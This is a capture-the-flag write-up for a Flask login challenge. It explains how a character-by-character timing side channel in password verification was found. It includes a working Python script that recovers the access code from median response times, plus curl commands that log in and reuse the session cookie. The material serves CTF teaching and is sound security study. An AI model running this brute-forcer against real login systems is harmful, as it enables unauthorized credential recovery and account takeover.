wait
wait
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: response_time_medianing, prefix_enumeration, timing_side_channel_exploitation
Summary
Walkthrough of the CUSTOM Web wait. Task: Flask login portal with a password-only form and a protected dashboard. Solution: exploit a timing side channel in access-code verification, recover the secret one character at a time with media
Description
the challenge says to wait? what happens if i just sit here and do nothing?
hmm. It seems theres a very slow delay... I wonder how long it takes?
English summary: the challenge exposes a small web portal at https://bluehens-wait.chals.io with a password-only login form and a protected dashboard. The goal is to recover the correct access code and use it to authenticate.
Recon
Initial endpoint mapping showed a very small Flask/Werkzeug application:
GET /returned a Chronos Systems portal page.GET /loginshowed a password-only login form.POST /loginaccepted thepasswordform field.GET /dashboardredirected to/loginwhen no valid session cookie was present.
The server identified itself as Werkzeug/3.1.8 Python/3.12.13.
Several common shortcuts were checked and ruled out:
/robots.txt/.env/.git/HEAD/flag/admin/api/flag
Basic SQL injection payloads also failed, so the challenge did not appear to be input injection.
Vulnerability Analysis
The useful clue was in the challenge text itself: “wait” and “very slow delay.” Wrong passwords always returned Invalid access code., but the response time was not constant.
By testing candidate passwords with different prefixes, it became clear that the verification routine compared the submitted access code character-by-character and introduced a tiny extra delay for each correct leading character before eventually rejecting the request. That creates a classic timing side channel:
- completely wrong guess → short response
- guess with 1 correct leading character → slightly slower
- guess with 2 correct leading characters → slightly slower again
- and so on
So even though the application never disclosed partial correctness in the body, it leaked it in the response time. This turned the login into a prefix oracle.
Median timing was more reliable than a single request because network jitter and remote hosting noise occasionally produced outliers.
Exploitation
The attack was to brute-force the password one character at a time.
- Choose an alphabet of likely characters, such as lowercase letters, uppercase letters, digits, and
_{}-if needed. - Start with an empty prefix.
- For each position, try every candidate character as
prefix + candidate. - Send several login requests for each candidate.
- Measure response times and take the median.
- Keep the character with the highest median delay.
- Repeat until the full secret is recovered or a successful login occurs.
This recovered the access code:
text read-only • copy allowedREDACTED
Submitting that value to POST /login returned an HTTP 302 redirect to /dashboard along with a valid Flask session cookie. Reusing that cookie on /dashboard revealed the flag.
Example exploit script
python read-only • copy allowed#!/usr/bin/env python3 import string import time from statistics import median import requests BASE = "https://bluehens-wait.chals.io" LOGIN = f"{BASE}/login" ALPHABET = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}-" TRIALS = 5 MAX_LEN = 32 def timed_try(prefix: str): samples = [] for _ in range(TRIALS): start = time.perf_counter() r = requests.post( LOGIN, data={"password": prefix}, allow_redirects=False, timeout=10, ) elapsed = time.perf_counter() - start samples.append(elapsed) if r.status_code == 302: return True, median(samples) return False, median(samples) def main(): prefix = "" for pos in range(MAX_LEN): best_char = None best_time = -1.0 for ch in ALPHABET: guess = prefix + ch ok, value = timed_try(guess) print(f"[pos {pos:02d}] {guess!r} -> {value:.5f}s") if ok: print(f"[+] Access code found: {guess}") return if value > best_time: best_time = value best_char = ch prefix += best_char print(f"[+] Prefix now: {prefix!r} (median {best_time:.5f}s)") print(f"[!] Reached max length, current prefix: {prefix}") if __name__ == "__main__": main()
Verification
First, log in with the recovered access code:
bash read-only • copy allowedcurl -i -sS -X POST 'https://bluehens-wait.chals.io/login' \ --data-urlencode 'password=REDACTED'
Expected behavior:
- HTTP
302 Found Location: /dashboard- a valid Flask session cookie in
Set-Cookie
Then send the returned cookie to /dashboard:
bash read-only • copy allowedcurl -sS 'https://bluehens-wait.chals.io/dashboard' \ -H 'Cookie: session=<paste_cookie_here>'
The dashboard response contains the flag.
Lessons Learned
- A login flow can leak secrets even when the response body is identical for all failures.
- Small per-character delays are enough to build a password oracle if timing is stable enough.
- Median-based measurements make remote timing attacks much more reliable than single samples.
- When obvious routes and injection payloads fail, challenge wording often hints at the real attack surface.
Key Takeaways / Lessons
- Mastering response_time_medianing, prefix_enumeration, timing_side_channel_exploitation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-22 • CUSTOM • wait • Difficulty: Medium